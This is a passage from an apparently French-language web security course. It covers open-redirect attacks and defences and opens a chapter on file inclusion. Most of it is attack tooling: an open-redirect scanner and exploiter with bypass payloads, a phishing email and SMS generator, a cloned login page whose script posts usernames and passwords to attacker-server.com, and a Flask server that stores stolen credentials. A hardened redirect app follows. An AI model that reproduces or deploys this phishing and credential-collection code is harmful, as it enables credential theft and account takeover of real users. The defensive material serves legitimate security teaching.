    print("   2. /oauth/authorize?redirect_uri= - OAuth hijacking")
    print("   3. /continue?url= - Continue reading")
    print("   4. /external?url= - External links")
    print("   5. /deeplink?url= - Deep links")
    print("   6. /goto/<path> - Path-based redirect")
    print("   7. /redirect-js# - Fragment-based (client-side)")
    print("   8. /r?u= - Base64 encoded URL")
    
    app.run(debug=True, port=5000)
```

---

**Continuer avec les SCRIPTS D'EXPLOITATION et la VERSION SÉCURISÉE ?** [SECURITE]

### PARTIE B : SCRIPTS D'EXPLOITATION

**1. Scanner et Exploiter automatisé :**

```python
# exploit_open_redirect.py
import requests
import urllib.parse
import base64
from colorama import Fore, Style, init
import re

init(autoreset=True)

class OpenRedirectScanner:
    """
    Scanner automatisé pour détecter Open Redirect
    """
    
    def __init__(self, target_url):
        self.target_url = target_url
        self.vulnerable_params = []
        self.session = requests.Session()
    
    def banner(self):
        print("=" * 80)
        print(Fore.CYAN + "OPEN REDIRECT VULNERABILITY SCANNER")
        print("=" * 80)
        print(f"Target: {self.target_url}")
        print()
    
    def test_parameter(self, param_name, test_url, payload):
        """
        Tester un paramètre pour Open Redirect
        """
        # Construire URL de test
        separator = '&' if '?' in test_url else '?'
        test_full_url = f"{test_url}{separator}{param_name}={urllib.parse.quote(payload)}"
        
        try:
            response = self.session.get(
                test_full_url,
                allow_redirects=False,
                timeout=5
            )
            
            # Vérifier redirection
            if response.status_code in [301, 302, 303, 307, 308]:
                location = response.headers.get('Location', '')
                
                # Vérifier si payload dans Location
                if payload in location or urllib.parse.quote(payload) in location:
                    return True, location
            
            # Vérifier JavaScript redirect
            if response.status_code == 200:
                if payload in response.text:
                    # Chercher patterns JavaScript
                    js_patterns = [
                        r'window\.location\s*=\s*["\']?' + re.escape(payload),
                        r'location\.href\s*=\s*["\']?' + re.escape(payload),
                        r'document\.location\s*=\s*["\']?' + re.escape(payload)
                    ]
                    
                    for pattern in js_patterns:
                        if re.search(pattern, response.text):
                            return True, "JavaScript redirect detected"
            
            return False, None
            
        except Exception as e:
            return False, str(e)
    
    def scan_common_parameters(self):
        """
        Scanner les paramètres communs
        """
        print(Fore.YELLOW + "[*] Scanning common redirect parameters...")
        
        common_params = [
            'next', 'url', 'redirect', 'redirect_uri', 'return', 'returnTo',
            'continue', 'dest', 'destination', 'redir', 'redirect_url',
            'callback', 'return_url', 'go', 'target', 'to', 'out',
            'view', 'logout', 'checkout_url', 'success_url', 'failure_url'
        ]
        
        payloads = [
            'https://evil.com',
            'http://evil.com',
            '//evil.com',
            'https://evil.com/phishing',
            'javascript:alert(1)',
            'data:text/html,<script>alert(1)</script>'
        ]
        
        for param in common_params:
            for payload in payloads:
                vulnerable, location = self.test_parameter(param, self.target_url, payload)
                
                if vulnerable:
                    print(Fore.RED + f"[!] VULNERABLE: {param}={payload}")
                    print(f"    Redirects to: {location}")
                    
                    self.vulnerable_params.append({
                        'parameter': param,
                        'payload': payload,
                        'location': location
                    })
                    break  # Un payload suffit pour ce paramètre
        
        if not self.vulnerable_params:
            print(Fore.GREEN + "[+] No common parameters vulnerable")
    
    def test_bypass_techniques(self, base_param='next'):
        """
        Tester techniques de bypass
        """
        print(Fore.YELLOW + "\n[*] Testing bypass techniques...")
        
        bypasses = {
            'Double encoding': 'https%253A%252F%252Fevil.com',
            'Null byte': 'https://trusted.com%00https://evil.com',
            'CRLF injection': 'https://trusted.com%0D%0ALocation:%20https://evil.com',
            'Backslash': 'https://trusted.com\\@evil.com',
            'At symbol': 'https://trusted.com@evil.com',
            'Dot segment': 'https://trusted.com/../evil.com',
            'Question mark': 'https://trusted.com?evil.com',
            'Hash': 'https://trusted.com#@evil.com',
            'Subdomain trick': 'https://trusted.com.evil.com',
            'Reverse subdomain': 'https://evil.com.trusted.com',
            'Protocol-relative': '//evil.com',
            'Backslash instead': 'https:\\\\evil.com',
            'Mixed case': 'hTtPs://evil.com',
            'Whitespace': 'https://evil.com%20',
            'Tab character': 'https://evil.com%09'
        }
        
        for technique, payload in bypasses.items():
            vulnerable, location = self.test_parameter(
                base_param, 
                self.target_url, 
                payload
            )
            
            if vulnerable:
                print(Fore.RED + f"[!] BYPASS FOUND: {technique}")
                print(f"    Payload: {payload}")
                print(f"    Redirects to: {location}")
            else:
                print(Fore.GREEN + f"[+] Blocked: {technique}")
    
    def test_oauth_redirect(self, oauth_endpoint='/oauth/authorize'):
        """
        Tester OAuth redirect_uri
        """
        print(Fore.YELLOW + "\n[*] Testing OAuth redirect_uri...")
        
        oauth_url = f"{self.target_url.rstrip('/')}{oauth_endpoint}"
        
        payloads = [
            'https://evil.com/callback',
            'https://trusted.com.evil.com/callback',
            'https://trusted.com@evil.com/callback',
            'https://trusted.com/../../../evil.com',
            'javascript:alert(document.cookie)',
        ]
        
        for payload in payloads:
            params = {
                'client_id': 'test_client',
                'redirect_uri': payload,
                'response_type': 'code',
                'state': 'xyz123'
            }
            
            try:
                response = self.session.get(
                    oauth_url,
                    params=params,
                    allow_redirects=False,
                    timeout=5
                )
                
                if response.status_code in [301, 302, 303, 307, 308]:
                    location = response.headers.get('Location', '')
                    
                    if payload in location:
                        print(Fore.RED + f"[!] VULNERABLE OAuth redirect_uri")
                        print(f"    Payload: {payload}")
                        print(f"    Token will be sent to: {location}")
                        return True
            except:
                pass
        
        print(Fore.GREEN + "[+] OAuth redirect_uri appears secure")
        return False
    
    def generate_phishing_link(self):
        """
        Générer lien de phishing
        """
        if not self.vulnerable_params:
            print(Fore.YELLOW + "\n[*] No vulnerabilities found to exploit")
            return
        
        print(Fore.YELLOW + "\n[*] Generating phishing links...")
        
        for vuln in self.vulnerable_params:
            param = vuln['parameter']
            
            # Lien vers fausse page de login
            phishing_url = 'https://evil.com/fake-login'
            
            attack_url = f"{self.target_url}?{param}={urllib.parse.quote(phishing_url)}"
            
            print(Fore.RED + f"\n[!] PHISHING LINK:")
            print(f"    {attack_url}")
            print(f"\n    Attack scenario:")
            print(f"    1. Send link to victim via email/SMS")
            print(f"    2. Victim sees trusted domain: {self.target_url}")
            print(f"    3. Gets redirected to: {phishing_url}")
            print(f"    4. Fake login page steals credentials")
    
    def run_full_scan(self):
        """
        Exécuter scan complet
        """
        self.banner()
        
        # Scanner paramètres communs
        self.scan_common_parameters()
        
        # Tester bypasses
        if self.vulnerable_params:
            base_param = self.vulnerable_params[0]['parameter']
            self.test_bypass_techniques(base_param)
        
        # Tester OAuth
        self.test_oauth_redirect()
        
        # Générer liens phishing
        self.generate_phishing_link()
        
        # Résumé
        self.print_summary()
    
    def print_summary(self):
        """
        Afficher résumé
        """
        print("\n" + "=" * 80)
        print(Fore.CYAN + "SCAN SUMMARY")
        print("=" * 80)
        
        if self.vulnerable_params:
            print(Fore.RED + f"\n[!] {len(self.vulnerable_params)} VULNERABLE PARAMETERS FOUND:")
            
            for vuln in self.vulnerable_params:
                print(f"  • {vuln['parameter']} -> {vuln['payload']}")
            
            print(Fore.RED + "\n[!] EXPLOITATION IMPACT:")
            print("  • Phishing attacks with trusted domain")
            print("  • OAuth token theft")
            print("  • Credential harvesting")
            print("  • Malware distribution")
            print("  • Bypass domain whitelists")
            
        else:
            print(Fore.GREEN + "\n[+] NO VULNERABILITIES FOUND")
            print("  Application appears to properly validate redirects")

class OpenRedirectExploiter:
    """
    Exploitation automatisée d'Open Redirect
    """
    
    def __init__(self, target_url, vulnerable_param='next'):
        self.target_url = target_url
        self.vulnerable_param = vulnerable_param
    
    def create_phishing_campaign(self, phishing_domain='evil.com'):
        """
        Créer campagne de phishing complète
        """
        print(Fore.CYAN + "\n" + "=" * 80)
        print("PHISHING CAMPAIGN GENERATOR")
        print("=" * 80)
        
        # 1. Lien de base
        phishing_url = f"https://{phishing_domain}/fake-login"
        attack_url = f"{self.target_url}?{self.vulnerable_param}={urllib.parse.quote(phishing_url)}"
        
        print(Fore.YELLOW + "\n[1] Attack URL:")
        print(f"    {attack_url}")
        
        # 2. URL shortener pour masquer
        short_url = self.create_short_url(attack_url)
        print(Fore.YELLOW + "\n[2] Shortened URL (less suspicious):")
        print(f"    {short_url}")
        
        # 3. Email template
        email_template = f"""
Subject: [ATTENTION] Security Alert: Verify Your Account

Dear User,

We have detected unusual activity on your account. For your security, 
please verify your identity immediately.

Click here to verify: {attack_url}

If you did not request this, please ignore this email.

Best regards,
Security Team
        """
        
        print(Fore.YELLOW + "\n[3] Phishing Email Template:")
        print(email_template)
        
        # 4. SMS template
        sms_template = f"SECURITY ALERT: Your account requires verification. Click: {short_url}"
        
        print(Fore.YELLOW + "\n[4] Phishing SMS Template:")
        print(f"    {sms_template}")
        
        # 5. Statistiques attendues
        print(Fore.YELLOW + "\n[5] Expected Success Rates:")
        print("    • Email click rate: 15-30%")
        print("    • Credential entry rate: 40-60% of clicks")
        print("    • Overall success: 6-18% of targets")
        
        return attack_url
    
    def create_short_url(self, long_url):
        """
        Simuler URL shortener
        """
        # En production : utiliser bit.ly API, etc.
        short_id = base64.urlsafe_b64encode(long_url.encode())[:8].decode()
        return f"https://short.link/{short_id}"
    
    def test_oauth_exploitation(self, client_id, legit_redirect):
        """
        Tester exploitation OAuth
        """
        print(Fore.CYAN + "\n" + "=" * 80)
        print("OAUTH TOKEN THEFT")
        print("=" * 80)
        
        # Attacker's callback
        evil_callback = 'https://evil.com/steal-token'
        
        # OAuth URL avec redirect malveilleux
        oauth_url = f"{self.target_url}?client_id={client_id}&redirect_uri={urllib.parse.quote(evil_callback)}&state=xyz"
        
        print(Fore.YELLOW + "\n[*] OAuth Exploitation:")
        print(f"    Legitimate redirect: {legit_redirect}")
        print(f"    Malicious redirect: {evil_callback}")
        print(f"\n    Attack URL:")
        print(f"    {oauth_url}")
        
        print(Fore.RED + "\n[!] Impact:")
        print("    1. Victim authorizes application")
        print("    2. OAuth code/token sent to evil.com")
        print("    3. Attacker gains full account access")
        print("    4. Can access user data, post as user, etc.")
    
    def demonstrate_bypasses(self):
        """
        Démontrer techniques de bypass
        """
        print(Fore.CYAN + "\n" + "=" * 80)
        print("BYPASS TECHNIQUES DEMONSTRATION")
        print("=" * 80)
        
        techniques = {
            "1. Double URL Encoding": {
                "original": "https://evil.com",
                "encoded": "https%253A%252F%252Fevil.com",
                "explanation": "Encode twice to bypass single decode validation"
            },
            "2. Protocol-Relative URL": {
                "original": "https://evil.com",
                "encoded": "//evil.com",
                "explanation": "Browser interprets as same protocol (https)"
            },
            "3. Subdomain Confusion": {
                "original": "https://evil.com",
                "encoded": "https://trusted.com.evil.com",
                "explanation": "Looks like trusted.com but actually evil.com"
            },
            "4. @ Symbol Trick": {
                "original": "https://evil.com",
                "encoded": "https://trusted.com@evil.com",
                "explanation": "trusted.com becomes username, evil.com is host"
            },
            "5. Backslash Confusion": {
                "original": "https://evil.com",
                "encoded": "https:\\\\evil.com",
                "explanation": "Some parsers treat \\\\ as //"
            },
            "6. Null Byte Injection": {
                "original": "https://evil.com",
                "encoded": "https://trusted.com%00https://evil.com",
                "explanation": "Null byte truncates validation check"
            },
            "7. CRLF Injection": {
                "original": "https://evil.com",
                "encoded": "/%0D%0ALocation:%20https://evil.com",
                "explanation": "Inject new Location header"
            },
            "8. JavaScript Protocol": {
                "original": "XSS payload",
                "encoded": "javascript:alert(document.cookie)",
                "explanation": "Execute JavaScript instead of redirect"
            }
        }
        
        for name, details in techniques.items():
            print(Fore.YELLOW + f"\n{name}")
            print(f"  Original: {details['original']}")
            print(f"  Bypass: {details['encoded']}")
            print(f"  How: {details['explanation']}")
            
            # Construire URL d'attaque
            attack_url = f"{self.target_url}?{self.vulnerable_param}={details['encoded']}"
            print(f"  Attack URL: {attack_url}")

if __name__ == '__main__':
    import sys
    
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║         OPEN REDIRECT VULNERABILITY TESTING TOOL               ║
    ║                                                                ║
    ║  Scans for and exploits open redirect vulnerabilities          ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    if len(sys.argv) < 2:
        print("Usage:")
        print("  python exploit_open_redirect.py scan <url>")
        print("  python exploit_open_redirect.py exploit <url> <param>")
        print("  python exploit_open_redirect.py phishing <url> <param>")
        print("\nExamples:")
        print("  python exploit_open_redirect.py scan http://localhost:5000/auth/logout")
        print("  python exploit_open_redirect.py exploit http://localhost:5000/auth/logout next")
        print("  python exploit_open_redirect.py phishing http://localhost:5000/auth/logout next")
        sys.exit(1)
    
    command = sys.argv[1]
    
    if command == 'scan':
        if len(sys.argv) < 3:
            print("Error: URL required")
            sys.exit(1)
        
        target_url = sys.argv[2]
        scanner = OpenRedirectScanner(target_url)
        scanner.run_full_scan()
    
    elif command == 'exploit':
        if len(sys.argv) < 4:
            print("Error: URL and parameter required")
            sys.exit(1)
        
        target_url = sys.argv[2]
        param = sys.argv[3]
        
        exploiter = OpenRedirectExploiter(target_url, param)
        exploiter.demonstrate_bypasses()
        exploiter.test_oauth_exploitation('test_client', 'https://app.com/callback')
    
    elif command == 'phishing':
        if len(sys.argv) < 4:
            print("Error: URL and parameter required")
            sys.exit(1)
        
        target_url = sys.argv[2]
        param = sys.argv[3]
        
        exploiter = OpenRedirectExploiter(target_url, param)
        exploiter.create_phishing_campaign()
    
    else:
        print(f"Unknown command: {command}")
        sys.exit(1)
```

---

**2. Page de phishing complète (hébergée sur evil.com) :**

```html
<!-- fake_login_page.html -->
<!-- Cette page serait hébergée sur https://evil.com/fake-login -->
<!DOCTYPE html>
<html>
<head>
    <title>Login - Social Platform</title>
    <style>
        /* Copie EXACTE du style du site légitime */
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            padding: 20px;
        }
        .login-container {
            background: rgba(255, 255, 255, 0.95);
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.3);
            max-width: 400px;
            width: 100%;
        }
        .logo {
            text-align: center;
            margin-bottom: 30px;
            font-size: 32px;
            color: #667eea;
        }
        h2 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .input-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 2px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 14px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
        }
        button:hover {
            transform: translateY(-2px);
        }
        .alert {
            background: #fff3cd;
            border: 1px solid #ffc107;
            color: #856404;
            padding: 12px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .success {
            display: none;
            background: #d4edda;
            border: 1px solid #c3e6cb;
            color: #155724;
            padding: 12px;
            border-radius: 5px;
            margin-top: 20px;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <div class="logo">[WEB]</div>
        <h2>Security Verification Required</h2>
        
        <div class="alert">
            [ATTENTION] For your security, please verify your identity
        </div>
        
        <form id="phishing-form">
            <div class="input-group">
                <label for="username">Username or Email</label>
                <input type="text" id="username" name="username" required>
            </div>
            
            <div class="input-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
            </div>
            
            <button type="submit">Verify Account</button>
        </form>
        
        <div class="success" id="success-message">
            [OK] Verification successful! Redirecting...
        </div>
    </div>
    
    <script>
        // [OK] Script pour voler les credentials
        document.getElementById('phishing-form').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            
            // Envoyer credentials au serveur attaquant
            try {
                await fetch('https://attacker-server.com/collect', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        username: username,
                        password: password,
                        timestamp: new Date().toISOString(),
                        source: 'phishing-campaign-001',
                        user_agent: navigator.userAgent,
                        referrer: document.referrer
                    })
                });
            } catch (e) {
                // Même si l'envoi échoue, continuer pour ne pas alerter la victime
            }
            
            // Afficher message de succès
            document.getElementById('phishing-form').style.display = 'none';
            document.getElementById('success-message').style.display = 'block';
            
            // Rediriger vers le vrai site après 2 secondes
            setTimeout(() => {
                // Obtenir le domaine légitime depuis le referrer
                const referrer = document.referrer;
                if (referrer) {
                    window.location.href = referrer;
                } else {
                    // Fallback vers site légitime
                    window.location.href = 'https://legitimate-site.com/login';
                }
            }, 2000);
        });
    </script>
</body>
</html>
```

---

**3. Serveur collecteur de credentials :**

```python
# credential_collector.py
"""
Serveur pour collecter credentials volés (à héberger sur serveur attaquant)
"""

from flask import Flask, request, jsonify
import sqlite3
from datetime import datetime
import json

app = Flask(__name__)

DB_FILE = 'stolen_credentials.db'

def init_db():
    """Initialiser base de données pour stocker credentials volés"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS stolen_creds (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT,
            password TEXT,
            source TEXT,
            user_agent TEXT,
            referrer TEXT,
            ip_address TEXT,
            timestamp TIMESTAMP,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    conn.commit()
    conn.close()

init_db()

@app.route('/collect', methods=['POST'])
def collect_credentials():
    """
    Endpoint pour collecter credentials volés
    """
    data = request.json
    
    # Extraire données
    username = data.get('username')
    password = data.get('password')
    source = data.get('source', 'unknown')
    user_agent = data.get('user_agent', '')
    referrer = data.get('referrer', '')
    timestamp = data.get('timestamp')
    ip_address = request.remote_addr
    
    # Stocker en DB
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        INSERT INTO stolen_creds 
        (username, password, source, user_agent, referrer, ip_address, timestamp)
        VALUES (?, ?, ?, ?, ?, ?, ?)
    ''', (username, password, source, user_agent, referrer, ip_address, timestamp))
    
    conn.commit()
    conn.close()
    
    # Logger
    print(f"[CREDENTIAL STOLEN] {username}:{password} from {ip_address}")
    
    # Réponse succès (pour ne pas alerter victime)
    return jsonify({'status': 'success'}), 200

@app.route('/stats')
def show_stats():
    """
    Afficher statistiques des credentials volés
    """
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM stolen_creds ORDER BY created_at DESC LIMIT 100')
    creds = [dict(row) for row in cursor.fetchall()]
    
    cursor.execute('SELECT COUNT(*) as total FROM stolen_creds')
    total = cursor.fetchone()['total']
    
    conn.close()
    
    return jsonify({
        'total_stolen': total,
        'recent_credentials': creds
    })

if __name__ == '__main__':
    print("[SKULL] Credential Collector Server")
    print("[ATTENTION]  FOR EDUCATIONAL DEMONSTRATION ONLY")
    print("\nListening on http://0.0.0.0:8000")
    
    app.run(host='0.0.0.0', port=8000, debug=False)
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# open_redirect_secure.py
from flask import Flask, request, redirect, url_for, jsonify, session
import sqlite3
import secrets
from urllib.parse import urlparse, urljoin
import re
from functools import wraps
import logging

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

DB_FILE = 'users_secure.db'

# [OK] Configuration logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# [OK] WHITELIST STRICTE des domaines autorisés
ALLOWED_DOMAINS = {
    'localhost:5001',
    'secure-app.com',
    'www.secure-app.com',
    'app.secure-app.com'
}

# [OK] WHITELIST OAuth redirect_uri
OAUTH_ALLOWED_REDIRECTS = {
    'app_123': ['https://trustedapp.com/callback'],
    'mobile_456': ['myapp://callback'],
    'test_789': ['http://localhost:8000/callback']
}

# [OK] CLASSE : URL Validator
class URLValidator:
    """
    [OK] Validation stricte des URLs
    """
    
    @staticmethod
    def is_safe_url(url):
        """
        [OK] Vérifier si URL est sûre pour redirection
        """
        if not url:
            return False
        
        # [OK] Rejeter URLs vides ou None
        if not url.strip():
            return False
        
        # [OK] URLs relatives sont OK
        if url.startswith('/') and not url.startswith('//'):
            return True
        
        # [OK] Parser l'URL
        try:
            parsed = urlparse(url)
        except Exception as e:
            logger.warning(f"Failed to parse URL: {url} - {str(e)}")
            return False
        
        # [OK] Rejeter protocoles dangereux
        if parsed.scheme and parsed.scheme.lower() not in ['http', 'https', '']:
            logger.warning(f"Dangerous protocol rejected: {parsed.scheme}")
            return False
        
        # [OK] Si pas de netloc, c'est relatif (OK)
        if not parsed.netloc:
            return True
        
        # [OK] Vérifier domain contre whitelist
        netloc = parsed.netloc.lower()
        
        # Enlever port si présent
        if ':' in netloc:
            host = netloc.split(':')[0]
        else:
            host = netloc
        
        # [OK] Vérification EXACTE contre whitelist
        if netloc in ALLOWED_DOMAINS or host in ALLOWED_DOMAINS:
            return True
        
        logger.warning(f"Domain not in whitelist: {netloc}")
        return False
    
    @staticmethod
    def normalize_url(url):
        """
        [OK] Normaliser URL pour éviter bypasses
        """
        if not url:
            return None
        
        # [OK] Supprimer whitespace
        url = url.strip()
        
        # [OK] Décoder une seule fois (éviter double encoding)
        try:
            from urllib.parse import unquote
            url = unquote(url)
        except:
            pass
        
        # [OK] Rejeter null bytes
        if '\x00' in url:
            logger.warning("Null byte in URL rejected")
            return None
        
        # [OK] Rejeter CRLF
        if '\r' in url or '\n' in url:
            logger.warning("CRLF in URL rejected")
            return None
        
        return url
    
    @staticmethod
    def validate_oauth_redirect(client_id, redirect_uri):
        """
        [OK] Valider OAuth redirect_uri contre whitelist
        """
        if client_id not in OAUTH_ALLOWED_REDIRECTS:
            logger.warning(f"Unknown OAuth client_id: {client_id}")
            return False
        
        allowed_uris = OAUTH_ALLOWED_REDIRECTS[client_id]
        
        # [OK] Vérification EXACTE (pas de regex, pas de contains)
        if redirect_uri not in allowed_uris:
            logger.warning(
                f"OAuth redirect_uri not allowed: {redirect_uri} "
                f"for client {client_id}"
            )
            return False
        
        return True

# [OK] FONCTION HELPER : Safe Redirect
def safe_redirect(url, fallback='/'):
    """
    [OK] Redirection sécurisée avec validation
    """
    # Normaliser
    normalized = URLValidator.normalize_url(url)
    
    if not normalized:
        logger.warning(f"Normalization failed, using fallback: {fallback}")
        return redirect(fallback)
    
    # Valider
    if not URLValidator.is_safe_url(normalized):
        logger.warning(f"Unsafe URL blocked: {normalized}, using fallback: {fallback}")
        return redirect(fallback)
    
    # [OK] Si URL relative, utiliser urljoin pour sécurité
    if normalized.startswith('/'):
        # Construire URL absolue relative au site
        safe_url = urljoin(request.host_url, normalized)
        logger.info(f"Safe redirect to: {safe_url}")
        return redirect(safe_url)
    
    # URL absolue validée
    logger.info(f"Safe redirect to: {normalized}")
    return redirect(normalized)

# [OK] ROUTES SÉCURISÉES

@app.route('/')
def index():
    return jsonify({
        'name': 'Secure Social Platform',
        'version': '2.0',
        'security': 'Open Redirect protection enabled'
    })

@app.route('/auth/login', methods=['POST'])
def login():
    """[OK] Login sécurisé"""
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    # Authentification (simplifié)
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, password))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['id']
    session['username'] = user['username']
    
    return jsonify({
        'success': True,
        'user': {'username': user['username']}
    })

@app.route('/auth/logout')
def logout():
    """
    [OK] SÉCURISÉ : Logout avec validation redirect
    """
    session.clear()
    
    # [OK] Récupérer et valider next URL
    next_url = request.args.get('next', '/')
    
    # [OK] Utiliser safe_redirect
    return safe_redirect(next_url, fallback='/')

@app.route('/oauth/authorize')
def oauth_authorize():
    """
    [OK] SÉCURISÉ : OAuth avec validation redirect_uri stricte
    """
    client_id = request.args.get('client_id')
    redirect_uri = request.args.get('redirect_uri')
    state = request.args.get('state', '')
    
    # [OK] Vérifier client_id
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM oauth_apps WHERE client_id = ?
    ''', (client_id,))
    
    app_info = cursor.fetchone()
    conn.close()
    
    if not app_info:
        logger.warning(f"Invalid OAuth client_id: {client_id}")
        return jsonify({'error': 'Invalid client_id'}), 400
    
    # [OK] CRITIQUE : Valider redirect_uri contre whitelist
    if not URLValidator.validate_oauth_redirect(client_id, redirect_uri):
        logger.error(
            f"OAuth redirect_uri validation failed: "
            f"client={client_id}, uri={redirect_uri}"
        )
        return jsonify({'error': 'Invalid redirect_uri'}), 400
    
    # [OK] Générer token
    oauth_token = secrets.token_hex(32)
    
    # [OK] Construire callback URL (redirect_uri est validé)
    separator = '&' if '?' in redirect_uri else '?'
    callback_url = f"{redirect_uri}{separator}code={oauth_token}&state={state}"
    
    logger.info(f"OAuth authorization for client {client_id}, redirecting to {callback_url}")
    
    return redirect(callback_url)

@app.route('/continue')
def continue_reading():
    """
    [OK] SÉCURISÉ : Continue reading avec validation
    """
    url = request.args.get('url', '/')
    
    # [OK] Valider et rediriger
    return safe_redirect(url, fallback='/')

@app.route('/external')
def external_link():
    """
    [OK] SÉCURISÉ : External link avec page d'avertissement
    """
    url = request.args.get('url')
    
    # [OK] Normaliser
    normalized = URLValidator.normalize_url(url)
    
    if not normalized:
        return jsonify({'error': 'Invalid URL'}), 400
    
    # [OK] Si URL interne, rediriger directement
    if URLValidator.is_safe_url(normalized):
        return redirect(normalized)
    
    # [OK] Sinon, afficher page d'avertissement
    return f"""
    <!DOCTYPE html>
    <html>
    <head><title>External Link Warning</title></head>
    <body>
        <h1>[ATTENTION] You are leaving our site</h1>
        <p>You are about to visit an external website:</p>
        <p><strong>{normalized}</strong></p>
        <p>We cannot guarantee the safety of external sites.</p>
        <a href="{normalized}" rel="noopener noreferrer">Continue to external site</a>
        <br><br>
        <a href="/">Return to homepage</a>
    </body>
    </html>
    """

@app.route('/deeplink')
def deeplink_redirect():
    """
    [OK] SÉCURISÉ : Deep link avec validation protocole
    """
    url = request.args.get('url')
    
    # [OK] Normaliser
    normalized = URLValidator.normalize_url(url)
    
    if not normalized:
        return jsonify({'error': 'Invalid URL'}), 400
    
    # [OK] Parser et vérifier protocole
    try:
        parsed = urlparse(normalized)
    except:
        return jsonify({'error': 'Invalid URL'}), 400
    
    # [OK] Whitelist de protocoles custom autorisés
    ALLOWED_CUSTOM_PROTOCOLS = ['myapp', 'secureapp']
    
    if parsed.scheme not in ['http', 'https'] + ALLOWED_CUSTOM_PROTOCOLS:
        logger.warning(f"Dangerous protocol blocked: {parsed.scheme}")
        return jsonify({'error': 'Protocol not allowed'}), 400
    
    # [OK] Rediriger
    logger.info(f"Deep link redirect to: {normalized}")
    return redirect(normalized)

@app.route('/goto/<path:destination>')
def goto_path(destination):
    """
    [OK] SÉCURISÉ : Path-based redirect avec validation
    """
    # [OK] Traiter comme URL normale
    return safe_redirect(destination, fallback='/')

@app.route('/r')
def short_redirect():
    """
    [OK] SÉCURISÉ : URL shortener avec validation
    """
    import base64
    
    encoded_url = request.args.get('u')
    
    if not encoded_url:
        return jsonify({'error': 'Missing parameter'}), 400
    
    try:
        # [OK] Décoder
        decoded = base64.b64decode(encoded_url).decode('utf-8')
        
        # [OK] Valider et rediriger
        return safe_redirect(decoded, fallback='/')
        
    except Exception as e:
        logger.warning(f"Failed to decode short URL: {str(e)}")
        return jsonify({'error': 'Invalid URL'}), 400

# [OK] Route pour documentation sécurité
@app.route('/security/redirects')
def security_docs():
    """Documentation des protections"""
    return jsonify({
        'open_redirect_protection': {
            'status': 'enabled',
            'features': [
                'URL normalization and validation',
                'Domain whitelist enforcement',
                'Protocol restriction (http/https only)',
                'OAuth redirect_uri strict validation',
                'CRLF injection prevention',
                'Null byte rejection',
                'Double encoding prevention',
                'External link warning page',
                'Comprehensive logging'
            ],
            'allowed_domains': list(ALLOWED_DOMAINS),
            'allowed_protocols': ['http', 'https'],
            'custom_protocols': ['myapp', 'secureapp']
        }
    })

if __name__ == '__main__':
    print("[SECURITE]  Secure Social Platform sur http://localhost:5001")
    print("[OK] Protections Open Redirect actives :")
    print("   1. URL normalization (whitespace, null bytes, CRLF)")
    print("   2. Domain whitelist validation")
    print("   3. Protocol restriction (http/https only)")
    print("   4. OAuth redirect_uri exact match")
    print("   5. No double encoding bypass")
    print("   6. No subdomain confusion")
    print("   7. No @ symbol bypass")
    print("   8. External link warning page")
    print("   9. Comprehensive security logging")
    print(f"\n[LISTE] Domaines autorisés : {ALLOWED_DOMAINS}")
    
    app.run(debug=False, port=5001)
```

---

**Continuer avec les TESTS UNITAIRES et la CHECKLIST FINALE ?** [OBJECTIF]

# 31. FILE INCLUSION VULNERABILITIES (LFI/RFI)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que File Inclusion ?

**File Inclusion** est une vulnérabilité qui permet à un attaquant d'**inclure des fichiers arbitraires** dans l'application, soit depuis le serveur local (**LFI - Local File Inclusion**) soit depuis un serveur distant (**RFI - Remote File Inclusion**).

**Analogie simple :**

Imagine une bibliothèque avec un bibliothécaire :
- **Usage normal** : "Je voudrais le livre numéro 5 sur l'étagère A" -> Le bibliothécaire vous donne le bon livre
- **LFI** : "Je voudrais le livre ../../../../coffre-fort/secrets.txt" -> Le bibliothécaire va chercher un fichier secret ailleurs dans le bâtiment
